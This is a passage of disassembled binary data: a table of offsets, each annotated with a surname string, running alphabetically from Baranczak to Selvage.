"Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset 